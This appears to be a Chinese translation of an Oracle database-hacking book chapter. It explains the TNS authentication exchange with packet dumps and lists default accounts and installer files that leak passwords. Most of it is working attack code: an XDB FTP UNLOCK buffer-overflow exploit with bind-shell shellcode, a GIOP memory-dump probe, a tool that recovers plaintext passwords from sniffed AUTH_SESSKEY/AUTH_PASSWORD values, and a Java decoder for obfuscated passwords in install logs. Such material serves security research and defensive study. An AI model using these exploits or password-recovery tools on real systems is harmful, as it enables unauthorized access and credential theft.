228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 #include <stdio.h> #include <windows.h> #include <winsock.h> int SendGIOPPacket(void); int StartWinsock(void); int packet_length(char *); int PrintResponse(unsigned char *p, int 1); int bswap_i(unsigned int); struct sockaddr_in s_sa; struct hostent *he; unsigned int addr; int IIOPPort=2481; char host[260]=""; int PKT_LEN = 148; unsigned char GIOPPacketHeader[2000]= "\x47\x49\x4f\x50" // MAGIC "\x01\x00" // VERSION "\x00" // BYTE ORDER "\x00" // MSG_TYPE "\x00\x00\x00\x82" // MSG_SIZE "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x01\x00\x00\x00" "\x00\x00\xFF\xFF"; // SIZE unsigned char GIOPPacketTail[]= "\x00" "\x49\x4e\x49\x54" "\x00\x00\x00\x00" "\x00\x04" "\x67\x65\x74\x00" "\x00\x00\x00\x00\x00\x00" "\x00\x0c" "\x4e\x61\x6d\x65\x53\x65\x72\x76\x69\x63\x65\x00"; int main(int argc, char *argv[]) { unsigned int ErrorLevel=0, bytes = 0; unsigned short len=0; int count = 0; unsigned char sid[100]=""; unsigned char buffer[512]=""; if(argc !=4) return printf("%s HOST SID BYTES\n",argv[0]); strncpy(host,argv[1],256); strncpy(sid,argv[2],96); bytes = atoi(argv[3]); _snprintf(buffer,508,"ORCL(CONNECT_DATA=(REP_ID=IDL:CORBA/InitialReferen ces:1.0)(SID=%s)(SESSION_ID=0))",sid); len = (unsigned short)strlen(sid)+0x82; PKT_LEN = len + 0xC; bytes = bswap_i(bytes); memmove(&GIOPPacketHeader[24],&bytes,4); memmove(&GIOPPacketHeader[28],buffer,strlen(buffer)); memmove(&GIOPPacketHeader[28+strlen(buffer)],GIOPPacketTail,35); GIOPPacketHeader[11]=(unsigned char)len; len = len << 8; GIOPPacketHeader[10]=(unsigned char)len; if(StartWinsock()==0) { printf("Error starting Winsock.\n"); return 0; } SendGIOPPacket(); return 0; } int bswap_i(unsigned int v) { __asm { xor eax, eax mov eax,v bswap eax mov v, eax } return v; } int StartWinsock() { int err=0; WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD( 2, 0 ); err = WSAStartup(wVersionRequested, &wsaData ); if ( err != 0 ) return 0; if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE(wsaData.wVersion ) != 0 ) { WSACleanup( ); return 0; } if (isalpha(host[0])) he = gethostbyname(host); else { addr = inet_addr(host); he = gethostbyaddr((char *)&addr,4,AF_INET); } if (he == NULL) return 0; s_sa.sin_addr.s_addr=INADDR_ANY; s_sa.sin_family=AF_INET; memcpy(&s_sa.sin_addr,he->h_addr,he->h_length); return 1; } int SendGIOPPacket(void) { SOCKET c_sock; unsigned char resp[10000]=""; int snd=0,rcv=0,count=0, var=0; unsigned int ttlbytes=0; unsigned int to=2000; struct sockaddr_in srv_addr,cli_addr; SOCKET cli_sock; unsigned int size = 0; char *buf = NULL; cli_sock=socket(AF_INET,SOCK_STREAM,0); if (cli_sock==INVALID_SOCKET) return printf("sock error"); s_sa.sin_port=htons((unsigned short)IIOPPort); if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR) { printf("Connect error %d",GetLastError()); return closesocket(cli_sock); } buf = malloc(264); if(!buf) { printf("malloc failed.\n"); return 0; } memset(buf,0,264); snd=send(cli_sock, GIOPPacketHeader , PKT_LEN , 0); while(rcv !=SOCKET_ERROR) { rcv = recv(cli_sock,resp,260,0); if(rcv == 0||rcv ==SOCKET_ERROR) break; memmove(&buf[size],resp,rcv); size = size + rcv; buf = realloc(buf,size+260); if(!buf) { printf("realloc failed.\n"); closesocket(cli_sock); return 0; } } PrintResponse(buf,size); closesocket(cli_sock); return 0; } int PrintResponse(unsigned char *ptr,int size) { int count = 0; int chk = 0; int sp = 0; printf("%.4X ",count); while(count < size) { if(count % 16 == 0 && count > 0) { printf(" "); chk = count; count = count - 16; while(count < chk) { if(ptr[count]<0x20) printf("."); else printf("%c",ptr[count]); count ++; } printf("\n%.4X ",count); } printf("%.2X ",ptr[count]); count ++; } count = count - chk; count = 17 - count; while(sp < count) { printf(" "); sp++; } count = chk; while(count < size) { if(ptr[count]<0x20) printf("."); else printf("%c",ptr[count]); count ++; } printf("\n\n\n\n"); return 0; }
XML数据库 XML数据库(也称为XDB)提供两种服务:一种在TCP端口8080上通过HTTP提供服务,另一种在TCP端口2100上基于FTP的服务。过去,XDB遭受了许多缓冲区溢出漏洞的困扰,包括身份验证机制中的溢出(用户名或密码过长)。 以下代码利用了在Linux上运行的XDB 9.2.0.1上的UNLOCK溢出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> int main(int argc, char *argv[]) { struct hostent *he; struct sockaddr_in sa; int sock; unsigned int addr = 0; char recvbuffer[512]=""; char user[260]="user "; char passwd[260]="pass "; int rcv=0; int snd =0; int count = 0; unsigned char nop_sled[1804]=""; unsigned char saved_return_address[]="\x41\xc8\xff\xbf"; unsigned char exploit[2100]=" unlock / AAAABBB" "BCCCCDDDDEEEEFFF" "FGGGGHHHHIIIIJJJ" "JKKKKLLLLMMMMNNN" "NOOOOPPPPQQQQRRR" "RSSSSTTTTUUUUVVV" "VWWWWXXXXYYYYZZZ" "Zaaaabbbbccccdd"; unsigned char code[]="\x31\xdb\x53\x43\x53\x43\x53\x4b\x6a\x66\x58\x54\x59\xcd" "\x80\x50\x4b\x53\x53\x53\x66\x68\x41\x41\x43\x43\x66\x53" "\x54\x59\x6a\x10\x51\x50\x54\x59\x6a\x66\x58\xcd\x80\x58" "\x6a\x05\x50\x54\x59\x6a\x66\x58\x43\x43\xcd\x80\x58\x83" "\xec\x10\x54\x5a\x54\x52\x50\x54\x59\x6a\x66\x58\x43\xcd" "\x80\x50\x31\xc9\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58" "\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x6a\x0b\x58\x99\x52\x68" "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x54\x5b\x52\x53\x54" "\x59\xcd\x80\r\n"; if(argc !=4) { printf("\n\n\tOracle XDB FTP Service UNLOCK Buffer Overflow Exploit"); printf("\n\t\tfor Blackhat (http://www.blackhat.com)"); printf("\n\n\tSpawns a shell listening on TCP Port 16705"); printf("\n\n\tUsage:\t%s host userid password",argv[0]); printf("\n\n\tDavid Litchfield\n\t(david@ngssoftware.com)"); printf("\n\t7th July 2003\n\n\n"); return 0; } while(count < 1800) nop_sled[count++]=0x90; // Build the exploit strcat(exploit,saved_return_address); strcat(exploit,nop_sled); strcat(exploit,code); // Process arguments strncat(user,argv[2],240); strncat(passwd,argv[3],240); strcat(user,"\r\n"); strcat(passwd,"\r\n"); // Setup socket stuff sa.sin_addr.s_addr=INADDR_ANY; sa.sin_family = AF_INET; sa.sin_port = htons((unsigned short) 2100); // Resolve the target system if(isalpha(argv[1][0])==0) { addr = inet_addr(argv[1]); memcpy(&sa.sin_addr,&addr,4); } else { he = gethostbyname(argv[1]); if(he == NULL) return printf("Couldn't resolve host %s\n",argv[1]); memcpy(&sa.sin_addr,he->h_addr,he->h_length); } sock = socket(AF_INET,SOCK_STREAM,0); if(sock < 0) return printf("socket() failed.\n"); if(connect(sock,(struct sockaddr *) &sa,sizeof(sa)) < 0) { close(sock); return printf("connect() failed.\n"); } printf("\nConnected to %s....\n",argv[1]); // Receive and print banner rcv = recv(sock,recvbuffer,508,0); if(rcv > 0) { printf("%s\n",recvbuffer); bzero(recvbuffer,rcv+1); } else { close(sock); return printf("Problem with recv()\n"); } // send user command snd = send(sock,user,strlen(user),0); if(snd != strlen(user)) { close(sock); return printf("Problem with send()....\n"); } else { printf("%s",user); } // Receive response. Response code should be 331 rcv = recv(sock,recvbuffer,508,0); if(rcv > 0) { if(recvbuffer[0]==0x33 && recvbuffer[1]==0x33 && recvbuffer[2]==0x31) { printf("%s\n",recvbuffer); bzero(recvbuffer,rcv+1); } else { close(sock); return printf("FTP response code was not 331.\n"); } } else { close(sock); return printf("Problem with recv()\n"); } // Send pass command snd = send(sock,passwd,strlen(passwd),0); if(snd != strlen(user)) { close(sock); return printf("Problem with send()....\n"); } else printf("%s",passwd); // Receive reponse. If not 230 login has failed. rcv = recv(sock,recvbuffer,508,0); if(rcv > 0) { if(recvbuffer[0]==0x32 && recvbuffer[1]==0x33 && recvbuffer[2]==0x30) { printf("%s\n",recvbuffer); bzero(recvbuffer,rcv+1); } else { close(sock); return printf("FTP response code was not 230. Login failed...\n"); } } else { close(sock); return printf("Problem with recv()\n"); } // Send the UNLOCK command with exploit snd = send(sock,exploit,strlen(exploit),0); if(snd != strlen(exploit)) { close(sock); return printf("Problem with send()....\n"); } // Should receive a 550 error response. rcv = recv(sock,recvbuffer,508,0); if(rcv > 0) printf("%s\n",recvbuffer); printf("\n\nExploit code sent....\n\nNow telnet to %s 16705\n\n",argv[1]); close(sock); return 0; }
攻击身份验证过程 获得对数据库及其数据的完全访问权限是大多数攻击者的最终选择,但仅获得任何访问权限就是第一步。 对于尚未拥有用户ID或密码的用户,必须首先绕过身份验证过程。 这样做既可以像利用缓冲区溢出一样技术,也可以像进行蛮力攻击一样简单,也可以简单地获取用户ID和密码。 本章涉及通过攻击身份验证过程来访问数据库服务器本身。
如何进行身份验证 尝试登录数据库时,客户端首先连接到TNS侦听器并请求访问数据库服务。 以下代码显示了示例连接的数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 IP Header Length and version: 0x45 Type of service: 0x00 Total length: 320 Identifier: 9373 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x532d Source IP: 192.168.0.120 Dest IP: 192.168.0.37 TCP Header Source port: 1916 Dest port: 1521 Sequence: 2802498112 ack: 2168229595 Header length: 0x50 Flags: 0x18 (ACK PSH) Window Size: 17520 Checksum: 0x4915 Urgent Pointer: 0 Raw Data 01 18 00 00 01 00 00 00 01 39 01 2c 00 00 08 00 9 , 7f ff c6 0e 00 00 01 00 00 de 00 3a 00 00 02 00 : 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa 00 00 00 00 00 00 00 00 00 00 28 44 45 53 43 52 (DESCR 49 50 54 49 4f 4e 3d 28 41 44 44 52 45 53 53 3d IPTION=(ADDRESS= 28 50 52 4f 54 4f 43 4f 4c 3d 54 43 50 29 28 48 (PROTOCOL=TCP)(H 4f 53 54 3d 31 39 32 2e 31 36 38 2e 30 2e 33 37 OST=192.168.0.37 29 28 50 4f 52 54 3d 31 35 32 31 29 29 28 43 4f )(PORT=1521))(CO 4e 4e 45 43 54 5f 44 41 54 41 3d 28 53 45 52 56 NNECT_DATA=(SERV 45 52 3d 44 45 44 49 43 41 54 45 44 29 28 53 45 ER=DEDICATED)(SE 52 56 49 43 45 5f 4e 41 4d 45 3d 6f 72 61 38 31 RVICE_NAME=ora81 37 2e 6e 67 73 73 6f 66 74 77 61 72 65 2e 63 6f 7.ngssoftware.co 6d 29 28 43 49 44 3d 28 50 52 4f 47 52 41 4d 3d m)(CID=(PROGRAM= 43 3a 5c 6f 72 61 63 6c 65 5c 70 72 6f 64 75 63 C:\oracle\produc 74 5c 31 30 2e 32 2e 30 5c 64 62 5f 31 5c 62 69 t\10.2.0\db_1\bi 6e 5c 73 71 6c 70 6c 75 73 2e 65 78 65 29 28 48 n\sqlplus.exe)(H 4f 53 54 3d 4f 52 41 29 28 55 53 45 52 3d 6f 72 OST=ORA)(USER=or 61 63 6c 65 29 29 29 29 acle)))))
请注意SERVICE_NAME条目= ora817.ngssoftware.com。 如果此服务尚未在TNS侦听器中注册,则该侦听器将生成一个错误。 如果该服务已注册,则侦听器将重定向客户端以连接到另一个TCP端口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 IP Header Length and version: 0x45 Type of service: 0x00 Total length: 104 Identifier: 32335 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0xfa52 Source IP: 192.168.0.37 Dest IP: 192.168.0.120 TCP Header Source port: 1521 Dest port: 1916 Sequence: 2168229595 ack: 2802498392 Header length: 0x50 Flags: 0x18 (ACK PSH ) Window Size: 65255 Checksum: 0xe663 Urgent Pointer: 0 Raw Data 00 40 00 00 05 00 00 00 00 36 28 41 44 44 52 45 @ 6(ADDRE 53 53 3d 28 50 52 4f 54 4f 43 4f 4c 3d 74 63 70 SS=(PROTOCOL=tcp 29 28 48 4f 53 54 3d 31 39 32 2e 31 36 38 2e 30 )(HOST=192.168.0 2e 33 37 29 28 50 4f 52 54 3d 33 35 39 30 29 29 .37)(PORT=3590))
在这种情况下,客户端将重定向到TCP端口3590。如果服务器以MTS(多线程服务器)模式运行,则客户端将不会重定向,并且所有通信都将通过侦听器端口进行-在这种情况下为1521。 客户端连接到新端口后,它将发出与连接到侦听器时相同的服务请求。
在客户端的序言连接到侦听器等之后,身份验证过程就开始了。 客户端通过向服务器发送其用户名来实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 IP Header Length and version: 0x45 Type of service: 0x00 Total length: 236 Identifier: 59545 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x8f84 Source IP: 192.168.0.37 Dest IP: 192.168.0.120 TCP Header Source port: 2500 Dest port: 1521 Sequence: 668563957 ack: 2568057659 Header length: 0x50 Flags: 0x18 (ACK PSH ) Window Size: 32780 Checksum: 0x65e8 Urgent Pointer: 0 Raw Data 00 c4 00 00 06 00 00 00 00 00 03 76 02 b0 5f df v _ 00 06 00 00 00 01 00 00 00 58 cc 12 00 04 00 00 X 00 28 ca 12 00 14 ce 12 00 06 73 79 73 74 65 6d ( system 0d 00 00 00 0d 41 55 54 48 5f 54 45 52 4d 49 4e AUTH_TERMIN 41 4c 07 00 00 00 07 47 4c 41 44 49 55 53 00 00 AL GLADIUS 00 00 0f 00 00 00 0f 41 55 54 48 5f 50 52 4f 47 AUTH_PROG 52 41 4d 5f 4e 4d 0b 00 00 00 0b 53 51 4c 50 4c RAM_NM SQLPL 55 53 2e 45 58 45 00 00 00 00 0c 00 00 00 0c 41 US.EXE A 55 54 48 5f 4d 41 43 48 49 4e 45 11 00 00 00 11 UTH_MACHINE 57 4f 52 4b 47 52 4f 55 50 5c 47 4c 41 44 49 55 WORKGROUP\GLADIU 53 00 00 00 00 08 00 00 00 08 41 55 54 48 5f 50 S AUTH_P 49 44 09 00 00 00 09 35 35 37 36 3a 35 34 35 36 ID 5576:5456 00 00 00 00
在前面的数据包转储中,用户名是system。服务器使用此用户名并检查其是否为有效用户。如果不是,则服务器向客户端发送“拒绝登录”错误。如果用户名确实存在,则服务器从数据库中提取用户的密码哈希。服务器使用此哈希值创建一个秘密号码。
密码创建如下:服务器调用orageneric库中的slgdt()函数。此函数实质上检索系统时间。分钟,小时,毫秒和秒都以WORD的形式存储在一起,以形成要加密的“文本”的八个字节。加密中使用的密钥的前四个字节表示与用户的十六进制密码哈希值的后四个字节异或的分钟和小时;密钥的最后四个字节由毫秒和秒组成,与用户的十六进制密码哈希值的前四个字节进行异或。该密钥用于通过调用oracommon库中的kzsrenc()函数来加密文本。此函数基本上使用lncgks()函数执行DES密钥调度,然后使用lncecb()函数在ECB模式下使用DES输出密文。
此处生成的密文成为密码。然后,再次使用kzsrenc()函数,使用用户的密码哈希对该密文进行加密;结果就是AUTH_SESSKEY。然后将其发送给客户端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 IP Header Length and version: 0x45 Type of service: 0x00 Total length: 185 Identifier: 52755 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0xaa3d Source IP: 192.168.0.120 Dest IP: 192.168.0.37 TCP Header Source port: 1521 Dest port: 2500 Sequence: 2568057659 ack: 668564153 Header length: 0x50 Flags: 0x18 (ACK PSH) Window Size: 16275 Checksum: 0x4c2d Urgent Pointer: 0 Raw Data 00 91 00 00 06 00 00 00 00 00 08 01 00 0c 00 00 00 0c 41 55 54 48 5f 53 45 53 53 4b 45 59 10 00 AUTH_SESSKEY 00 00 10 36 43 43 33 37 42 41 33 44 41 37 39 37 6CC37BA3DA797 35 44 36 00 00 00 00 04 01 00 00 00 00 00 00 00 5D6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 36 01 00 00 00 00 00 6 00 b8 00 8b 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
客户端收到AUTH_SESSKEY后,必须对其解密以检索密码。 用户使用oracore库中的lncupw()函数创建自己的密码哈希的副本。 然后,通过调用kzsrdec()函数,将此哈希用作解密AUTH_SESSKEY的密钥。 如果一切顺利,则应该生成密码。 然后,通过调用kzsrenp()函数,将此秘密数字用作加密用户明文,区分大小写的密码的密钥。 该功能执行DES密钥调度,并以CBC模式加密用户密码。 密文然后作为AUTH_PASSWORD发送回服务器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 IP Header Length and version: 0x45 Type of service: 0x00 Total length: 839 Identifier: 59546 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x8d28 Source IP: 192.168.0.37 Dest IP: 192.168.0.120 TCP Header Source port: 2500 Dest port: 1521 Sequence: 668564153 ack: 2568057804 Header length: 0x50 Flags: 0x18 (ACK PSH ) Window Size: 32762 Checksum: 0x0838 Urgent Pointer: 0 Raw Data 03 1f 00 00 06 00 00 00 00 00 03 73 03 b0 5f df s _ 00 06 00 00 00 01 01 00 00 1c da 12 00 07 00 00 00 88 d6 12 00 3c dc 12 00 06 73 79 73 74 65 6d < system 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f AUTH_PASSWO 52 44 11 00 00 00 11 36 36 36 43 41 46 45 36 37 RD 666CAFE67 34 39 43 39 44 37 37 30 00 00 00 00 0d 00 00 00 49C9D770 .... ....
服务器通过调用oracommon库中的kzsrdep()函数,以用作密钥的机密数字解密AUTH_PASSWORD。服务器现在拥有明文密码的副本。然后,服务器创建密码哈希,并将其与数据库中的哈希进行比较。如果它们匹配,则对用户进行身份验证。然后由服务器执行检查,以确定用户是否具有CREATE SESSION特权;如果是这样,则授予用户访问数据库服务器的权限。
针对Windows NT上运行的Oracle 8.1.7.4执行了此分析。尽管实际的函数名称可能有所不同,但其他Oracle版本上的一般过程相同。
简要返回AUTH_PASSWORD,由于密码的加密方式,您可以获取有关密码长度的信息。如果AUTH_PASSWORD为16个字符长,则实际密码为8个字符或更少。如果用户的密码长度在9到16个字符之间,则AUTH_PASSWORD的长度是32个字符,依此类推。因此,如果攻击者可以嗅探整个网络上的身份验证,那么他们可以派生出可能在密码破解尝试中有用的信息。
攻击加密过程 从数据库中获取密码哈希值是一项简单的任务,正如本书所展示的。可以执行强行强制Oracle密码散列,但是密码越长,花费的时间就越长。对于很长的密码,不是强行使用密码,而是另一种攻击方法,目的是快速获取明文。如果拥有哈希但想要纯文本的攻击者可以嗅探网络上的AUTH_SESSKEY和AUTH_PASSWORD交换,那么他们可以立即获得纯文本密码。他们使用已知的哈希对AUTH_SESSKEY进行解密以获取密码。然后,他们使用此秘密数字解密AUTH_PASSWORD,然后解出明文-不管它有多长。嗅探交换是真正的问题-但这不应该被诸如“好吧,如果他们遇到了我的密码哈希并可以从网络上捕获流量的问题,那么我就会遇到更大的问题”。在交换环境中,针对ARP的攻击可能导致流量在本地线路上广播,这意味着每个人都可以捕获流量。当然,在普通广播网络上(例如,使用普通集线器的以太网),这不是问题,并且以混杂模式运行的嗅探器可以进行交换。客户端和服务器之间中间位置的主机或网关可能会受到威胁,并被用作战略嗅探器。是的,如果有人可以这样做,您确实会遇到很大的问题,但重点是攻击者可以并且可以这样做!
以下代码使用kzsrdec()和kzsrdep()函数获取给定密码哈希,AUTH_SESSKEY和AUTH_PASSWORD的明文密码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 /* C:\>cl /TC opass.c C:\>opass E:\oracle\ora81\BIN\oracommon8.dll EED9B65CCECDB2E9 DF0536A94ADEE746 36A2CB576171FEAD Secret is CEAF9C221915EC3E Password is password */ #include <stdio.h> #include <windows.h> int main(int argc, char *argv[]) { FARPROC kzsrdec = NULL; FARPROC kzsrdep = NULL; HANDLE oracommon = NULL; unsigned char dll_path[260]=""; unsigned char hash[40]=""; unsigned char sess[40]=""; unsigned char pass[260]=""; unsigned char o[20]=""; unsigned char pwd[200]=""; if(argc!=5) { printf("\n\t*** Oracle Password Revealer ***\n\n"); printf("\tC:\\>%s ",argv[0]); printf("path_to_oracommon.dll "); printf("password_hash auth_sesskey "); printf("auth_password\n\n"); printf("\tDavid Litchfield\n"); printf("\tdavid@databasesecurity.com\n"); printf("\t10th June 2006\n\n"); return 0; } strncpy(dll_path,argv[1],256); strncpy(hash,argv[2],36); strncpy(sess,argv[3],36); strncpy(pass,argv[4],256); if(StringToHex(hash,1)==0) return printf("Error in the password hash.\n"); if(StringToHex(sess,1)==0) return printf("Error in the auth_sesskey.\n"); if(StringToHex(pass,0)==0) return printf("Error in the auth_password.\n"); oracommon = LoadLibrary(dll_path); if(!oracommon) return printf("Failed to load %s\n",dll_path); kzsrdec = GetProcAddress(oracommon," kzsrdec"); if(!kzsrdec) return printf("No address for kzsrdec.\n"); kzsrdep = GetProcAddress(oracommon," kzsrdep"); if(!kzsrdep) return printf("No address for kzsrdep.\n"); kzsrdec(sess,o,hash); printf("\nSecret is %.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X\n", o[0],o[1],o[2],o[3],o[4],o[5],o[6],o[7]); kzsrdep(pwd,pass,strlen(pass),o); printf("Password is %s\n",pwd); return 0; } int StringToHex(char *str,int cnv) { unsigned int len = 0, c=0,i=0; unsigned char a=0,b=0; unsigned char tmp[12]=""; len = strlen(str); if(len > 16) return 0; while(c < len) { a = str[c++]; b = str[c++]; if(a > 0x2F && a < 0x3A) a = a - 0x30; else if(a > 0x40 && a < 0x47) a = a - 0x37; else if(a > 0x60 && a < 0x67) a = a - 0x57; else return 0; if(b > 0x2F && b < 0x3A) b = b - 0x30; else if(b > 0x40 && a < 0x47) b = b - 0x37; else if(a > 0x60 && a < 0x67) b = b - 0x57; else return 0; a = a << 4; a = a + b; tmp[i]=a; i ++; } memset(str,0,len); c=0; if(cnv) { while(c < 8) { str[c+0]=tmp[c+3]; str[c+1]=tmp[c+2]; str[c+2]=tmp[c+1]; str[c+3]=tmp[c+0]; c = c + 4; } return 1; } while(c < 8) { str[c]=tmp[c]; c = c ++; } return 1; }
默认的用户名和密码 Oracle的默认用户名和密码,较常见的是:
1 2 3 4 5 6 SYS/CHANGE_ON_INSTALL SYSTEM/MANAGER DBSNMP/DBSNMP CTXSYS/CTXSYS MDSYS/MDSYS SCOTT/TIGER
虽然查找带有默认密码的SYS或SYSTEM帐户并不常见,但通常发现DBSNMP(智能代理帐户)保留了默认密码。这可能是因为如果您仍然希望智能代理能够工作,则需要在两个位置更改密码。第一次密码更改发生在数据库中;第二个密码更改需要在snmp_rw.ora文件中进行。 CTXSYS和MDSYS都是9i中的DBA,尽管它们的默认密码与DBSNMP一样少,但通常也会保留其默认密码。
随着10g的发布,情况大为改善。在安装过程中,系统会提示安装程序输入SYS帐户的密码。然后,也可以为SYSTEM,DBSNMP和SYSMAN帐户设置相同的密码。所有其他帐户都设置为EXPIRED和LOCKED。 EXPIRED表示默认密码已过期,必须更改。但是,对于默认帐户和默认配置文件,可以将密码更改为原始密码。人们通常会这样做,因此使用硬编码密码的较早的应用程序仍然可以正常工作。
尽管10g的密码情况有所改善,但是仍然存在风险。 这样的风险之一是在安装过程中选择的密码会写入某些文件。 例如,在10g第1版中,SYSMAN的密码以明文形式写入$ ORACLE_HOME / hostname_sid / sysman / config目录中的emoms.properties文件中; 10g第2版使用DES加密密码,但是emoms文件还包含解密密钥,因此仍可以检索密码:只需将emdRepPwd和emdRepPwdSeed属性插入最近的DES工具中,然后弹出明文密码。
另一个可能记录密码的潜在文件是DBCreation.log。 假设在安装过程中安装程序选择了一个难以猜测的密码,其中带有感叹号。 设置SYSMAN和DBSNMP帐户的密码后,执行此操作的SQL脚本将执行以下操作:
1 2 3 alter user SYSMAN identified by f00bar!! account unlock alter user DBSNMP identified by f00bar!! account unlock
由于有感叹号,这会导致错误,然后将其记录:
1 2 3 ERROR at line 1: ORA-00922: missing or invalid option
因为SYS和SYSTEM帐户的密码是以不同的方式设置的-一种不会引起错误的方式-因此为他们提供了密码。 因此,如果某人可以访问此文件,则他们可能能够发现SYS和SYSTEM的密码。
记录密码的另一组文件是
1 2 3 4 5 6 7 8 9 10 11 12 $ORACLE_HOME/cfgtoollogs/cfgfw/CfmLogger_install_date.log $ORACLE_HOME/cfgtoollogs/cfgfw/oracle.assistants.server_install_date.log $ORACLE_HOME/cfgtoollogs/configToolAllCommands $ORACLE_HOME/inventory/Components21/oracle.assistants.server/10.2.0.1.0/ context.xml $ORACLE_HOME/inventory/ContentsXML/ConfigXML/oracle.assistants.server.10 _2_0_1_0.CFM.1.inst.xml $ORACLE_HOME\cfgtoollogs\oui\installActions_install_date.log (Windows only)
其中install_date指定服务器的安装日期和时间。 但是,这些密码被混淆并显示如下:05da3f3b20f9ee5e1e992d7d35d5c0c679,但是从中恢复明文密码是一件很简单的事情。 SYS,SYSTEM,SYSMAN和DBSNMP的密码都可以从这些文件中恢复。 以下Java调用Checksum包中的Checksum SHA函数。 请注意,该功能不执行SHA操作。 混淆密码中的前导05表示使用DES解密的代码。 接下来的16个字符构成密钥,接下来的16个字符构成密码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 /* $ cp DumpPassword.java /tmp/DumpPassword.java $ cd /tmp $ /oracle/product/10.1.0/Db_1/jdk/bin/javac -classpath /tmp:/oracle/product/10.1.0/Db_1/jlib/ /tmp/DumpPassword.java $ /oracle/product/10.1.0/Db_1/jdk/bin/java -classpath /tmp:/oracle/product/10.1.0/Db_1/jlib/ DumpPassword 05da3f3b20f9ee5e1e992d7d35d5c0c679 Password is foobar */ import oracle.security.misc.Checksum; class DumpPassword { public static void main(String args[]) { byte b_in[] = HexToByteArray(args[0]); try { /* Whilst it says SHA - it's not!!! */ byte b_out[] = Checksum.SHA(b_in, null); System.out.println ("Password is "+ ByteToHex(b_out)); } catch(Exception e) { System.out.println("error"); } } public static String ByteToHex(byte a[]) { String s=""; for(int i=0; i<a.length; i++) { s+=(char)a[ i ]; } return s; } public static byte[] HexToByteArray(String str) { if(str == null) return new byte[0]; int len = str.length(); char hex[] = str.toCharArray(); byte buf[] = new byte[len / 2]; for(int pos = 0; pos < len / 2; pos++) buf[pos] = (byte)(toData(hex[2 * pos]) << 4 & 0xf0 | toData(hex[2 * pos + 1]) & 0xf); return buf; } private static byte toData(char c) { if('0' <= c && c <= '9') return (byte)((byte)c - 48); if('a' <= c && c <= 'f') return (byte)(((byte)c - 97) + 10); if('A' <= c && c <= 'F') return (byte)(((byte)c - 65) + 10); else return -1; } }
安装10g应用服务器并浏览文件后,发现以下内容也以相同的方式混淆了密码:
1 2 3 4 $ORACLE_HOME\inventory\ContentsXML\configtools.xml $ORACLE_HOME\cfgtoollogs\configtoolsinstalldate.log $ORACLE_HOME\sysman\emd\targets.xml $ORACLE_HOME\config\ias.properties
